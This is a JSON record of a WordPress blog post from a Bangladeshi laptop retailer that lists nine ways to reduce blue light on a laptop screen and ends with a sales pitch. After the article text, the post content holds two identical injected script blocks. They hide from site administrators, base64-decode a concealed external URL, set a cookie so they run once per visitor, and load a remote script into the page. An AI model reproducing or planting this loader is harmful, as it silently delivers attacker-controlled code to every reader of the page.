{"id":2897,"date":"2026-01-27T12:12:24","date_gmt":"2026-01-27T06:12:24","guid":{"rendered":"https:\/\/www.vertech.com.bd\/blog\/?p=2897"},"modified":"2026-04-07T14:40:35","modified_gmt":"2026-04-07T08:40:35","slug":"how-to-reduce-blue-light-on-laptops-screen","status":"publish","type":"post","link":"https:\/\/www.vertech.com.bd\/blog\/tips-tricks\/how-to-reduce-blue-light-on-laptops-screen\/","title":{"rendered":"How to Reduce Blue Light on Your laptops Screen"},"content":{"rendered":"\n<p>From office work and online classes to watching movies and browsing the internet, we spend hours in front of a laptop without even realizing it. On average, a large part of the day goes into staring at a monitor, and the rest is spent on smartphones and other devices. Screens have become a constant companion from morning till night.<\/p>\n\n\n\n<p>This heavy screen use means our eyes are exposed to blue light for long periods of time. Blue light helps keep screens bright and sharp, but too much of it can lead to eye strain, irritation and a feeling of tired eyes. Many people also struggle with poor sleep because screen use late in the evening keeps the brain active.<\/p>\n\n\n\n<p>Reducing blue light on your laptop\u2019s screen can make a noticeable difference in your comfort and eye health. Simple adjustments can help your eyes feel more relaxed during <a href=\"https:\/\/www.vertech.com.bd\/blog\/tips-tricks\/take-care-of-your-laptop\/\" target=\"_blank\" data-type=\"link\" data-id=\"https:\/\/www.vertech.com.bd\/blog\/tips-tricks\/take-care-of-your-laptop\/\" rel=\"noreferrer noopener\">long work sessions<\/a>. In this blog, we will look at easy and effective ways to reduce blue light so you can enjoy using your laptop\u2019s without unnecessary strain.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">What is Blue Light?<\/h2>\n\n\n\n<p>Before knowing how to reduce blue light on your laptop\u2019s screen, it is important to understand what blue light actually is. Blue light is a strong form of visible light with short wavelengths and high energy. It sits on the blue end of the color spectrum and is naturally present in sunlight, which helps keep us awake and focused during the day. However, modern life has increased our exposure through digital screens such as laptops, monitors, smartphones, tablets, and LED lighting.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">9 Ways to Reduce Blue Light on Your laptop\u2019s Screen<\/h2>\n\n\n\n<p>Let\u2019s see how you can reduce blue light on your laptop\u2019s screen without stress and without extra effort. These simple tips will help protect your eyes and make long screen time more comfortable.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1. Turn On Night Light on Windows<\/h3>\n\n\n\n<p>Many Windows users do not realize their laptop\u2019s already have a feature to reduce blue light. At night, the bright screen can make your eyes feel heavy and uncomfortable. You can fix this easily using Night Light. Follow these steps to turn it on.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Click the Start menu on your screen<\/li>\n\n\n\n<li>Open Settings and choose System<\/li>\n\n\n\n<li>Select Display from the left side<\/li>\n\n\n\n<li>Look for the Nightlight option<\/li>\n\n\n\n<li>Turn the Night light On<\/li>\n\n\n\n<li>Click Night light settings<\/li>\n\n\n\n<li>Move the slider to make the screen warmer<\/li>\n\n\n\n<li>Set a schedule if needed<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">2. Use Night Shift on Mac<\/h3>\n\n\n\n<p><a href=\"https:\/\/www.vertech.com.bd\/category\/laptop\/macbook\" target=\"_blank\" rel=\"noreferrer noopener\">Mac<\/a> screens are designed to look sharp and colorful, but this can be hard on your eyes at night. If you often work late or study on your Mac, Night Shift can really help. It changes the screen color automatically. Follow these steps to enable it.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Click the Apple icon at the top<\/li>\n\n\n\n<li>Open System Settings<\/li>\n\n\n\n<li>Go to Displays<\/li>\n\n\n\n<li>Select Night Shift<\/li>\n\n\n\n<li>Turn Night Shift On<\/li>\n\n\n\n<li>Adjust the color temperature<\/li>\n\n\n\n<li>Choose a time schedule<\/li>\n\n\n\n<li>Close the settings<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">3. Reduce Screen Brightness<\/h3>\n\n\n\n<p>Sometimes the main problem is not settings but brightness. A very bright screen can increase eye strain even during the day. Reducing brightness is quick and makes a big difference. Here is how you can adjust it step by step.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Use the brightness keys on your keyboard<\/li>\n\n\n\n<li>Or open Display settings<\/li>\n\n\n\n<li>Lower the brightness slowly<\/li>\n\n\n\n<li>Match it with your room light<\/li>\n\n\n\n<li>Avoid full brightness at night<\/li>\n\n\n\n<li>Readjust if your eyes feel tired<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">4. Use Blue Light Filter Apps<\/h3>\n\n\n\n<p>Not all laptops come with a built-in blue light filter. If your system is missing this feature, apps can help. These apps are easy to use and work quietly in the background. Try these steps to use one.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Search online for a blue light filter app<\/li>\n\n\n\n<li>Download and install the app<\/li>\n\n\n\n<li>Open it after installation<\/li>\n\n\n\n<li>Choose a warm screen tone<\/li>\n\n\n\n<li>Adjust filter strength<\/li>\n\n\n\n<li>Turn on night or auto mode<\/li>\n\n\n\n<li>Let the app run in the background<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">5. Adjust Screen Color Settings<\/h3>\n\n\n\n<p>For people who use laptops for long hours, basic settings may not feel enough. Changing color settings gives more control over how the screen looks. This method is helpful for work and study. Follow these steps to adjust screen colors.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Open Display or Graphics settings<\/li>\n\n\n\n<li>Find Color or Advanced options<\/li>\n\n\n\n<li>Reduce blue color levels<\/li>\n\n\n\n<li>Increase warmer tones<\/li>\n\n\n\n<li>Save the changes<\/li>\n\n\n\n<li>Check screen comfort<\/li>\n\n\n\n<li>Adjust again if needed<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">6. Use Blue Light Filter Browser Extensions<\/h3>\n\n\n\n<p>If most of your work happens in a web browser extensions can help a lot. These tools reduce blue light only inside the browser which is useful for reading and writing. Below are the steps to help you use browser extensions.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Open your browser extension store<\/li>\n\n\n\n<li>Search for a blue light filter extension<\/li>\n\n\n\n<li>Add the extension to your browser<\/li>\n\n\n\n<li>Open extension settings<\/li>\n\n\n\n<li>Choose a warmer screen tone<\/li>\n\n\n\n<li>Adjust filter strength<\/li>\n\n\n\n<li>Enable it for night time use<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">7. Use Blue Light Filter Glasses<\/h3>\n\n\n\n<p>If you spend many hours in front of a screen, software settings may not always be enough to protect your eyes. In that case blue light filter glasses can be a helpful solution that works with any device. These glasses help reduce eye strain and make long screen time more comfortable, especially at night. Choose glasses with proper blue light protection and wear them whenever you use your laptops. Keep the lenses clean for clear vision and try to use them together with night mode for better eye comfort.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">8. Improve Room Lighting Around Your Screen<\/h3>\n\n\n\n<p>Blue light feels stronger when the room is dark. Poor lighting can make your eyes work harder even if filters are on. Improving room lighting helps balance screen light. Follow the steps below to set things up correctly.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Turn on a soft room light<\/li>\n\n\n\n<li>Avoid working in complete darkness<\/li>\n\n\n\n<li>Place light behind or beside the screen<\/li>\n\n\n\n<li>Use warm light instead of white<\/li>\n\n\n\n<li>Reduce screen contrast if needed<\/li>\n\n\n\n<li>Check eye comfort after adjusting<br><\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">9. Take Regular Screen Breaks<\/h3>\n\n\n\n<p>Even with all settings turned on your eyes still need rest. Long screen time without breaks can cause strain and dryness. Taking short breaks helps reduce the effect of blue light. Try the steps below to reduce eye strain.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Look away from the screen every few minutes<\/li>\n\n\n\n<li>Focus on distant objects<\/li>\n\n\n\n<li>Blink your eyes slowly<\/li>\n\n\n\n<li>Stand up and stretch<\/li>\n\n\n\n<li>Avoid checking your phone during breaks<\/li>\n\n\n\n<li>Return to the screen when eyes feel relaxed<br><\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Verdict<\/h2>\n\n\n\n<p>Reducing blue light on your laptop&#8217;s screen is not difficult, and it does not require expensive tools. Small changes like using night modes, lowering brightness and improving room lighting can make a big difference in how your eyes feel every day. When combined with healthy habits like taking breaks and using blue light glasses you can stay comfortable even during long work or study hours. At Vertech, we always believe that better tech habits lead to better performance and better health. And if you want to <a href=\"https:\/\/www.vertech.com.bd\/category\/laptop\" target=\"_blank\" rel=\"noreferrer noopener\">buy a laptop that is easy on the eyes<\/a> you can buy from <a href=\"https:\/\/www.vertech.com.bd\/\" target=\"_blank\" rel=\"noreferrer noopener\">Vertech<\/a> to make your daily screen time even more comfortable.<\/p>\n\n\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>","protected":false},"excerpt":{"rendered":"<p>From office work and online classes to watching movies and browsing the internet, we spend hours in front of a laptop without even realizing it. On average, a large part of the day goes into staring at a monitor, and the rest is spent on smartphones and other devices. Screens have become a constant companion&#8230;<\/p>\n","protected":false},"author":12,"featured_media":2900,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_kad_post_transparent":"","_kad_post_title":"","_kad_post_layout":"","_kad_post_sidebar_id":"","_kad_post_content_style":"","_kad_post_vertical_padding":"","_kad_post_feature":"","_kad_post_feature_position":"","_kad_post_header":false,"_kad_post_footer":false,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-2897","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tips-tricks"],"_links":{"self":[{"href":"https:\/\/www.vertech.com.bd\/blog\/wp-json\/wp\/v2\/posts\/2897","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.vertech.com.bd\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.vertech.com.bd\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.vertech.com.bd\/blog\/wp-json\/wp\/v2\/users\/12"}],"replies":[{"embeddable":true,"href":"https:\/\/www.vertech.com.bd\/blog\/wp-json\/wp\/v2\/comments?post=2897"}],"version-history":[{"count":5,"href":"https:\/\/www.vertech.com.bd\/blog\/wp-json\/wp\/v2\/posts\/2897\/revisions"}],"predecessor-version":[{"id":3335,"href":"https:\/\/www.vertech.com.bd\/blog\/wp-json\/wp\/v2\/posts\/2897\/revisions\/3335"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.vertech.com.bd\/blog\/wp-json\/wp\/v2\/media\/2900"}],"wp:attachment":[{"href":"https:\/\/www.vertech.com.bd\/blog\/wp-json\/wp\/v2\/media?parent=2897"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.vertech.com.bd\/blog\/wp-json\/wp\/v2\/categories?post=2897"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.vertech.com.bd\/blog\/wp-json\/wp\/v2\/tags?post=2897"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}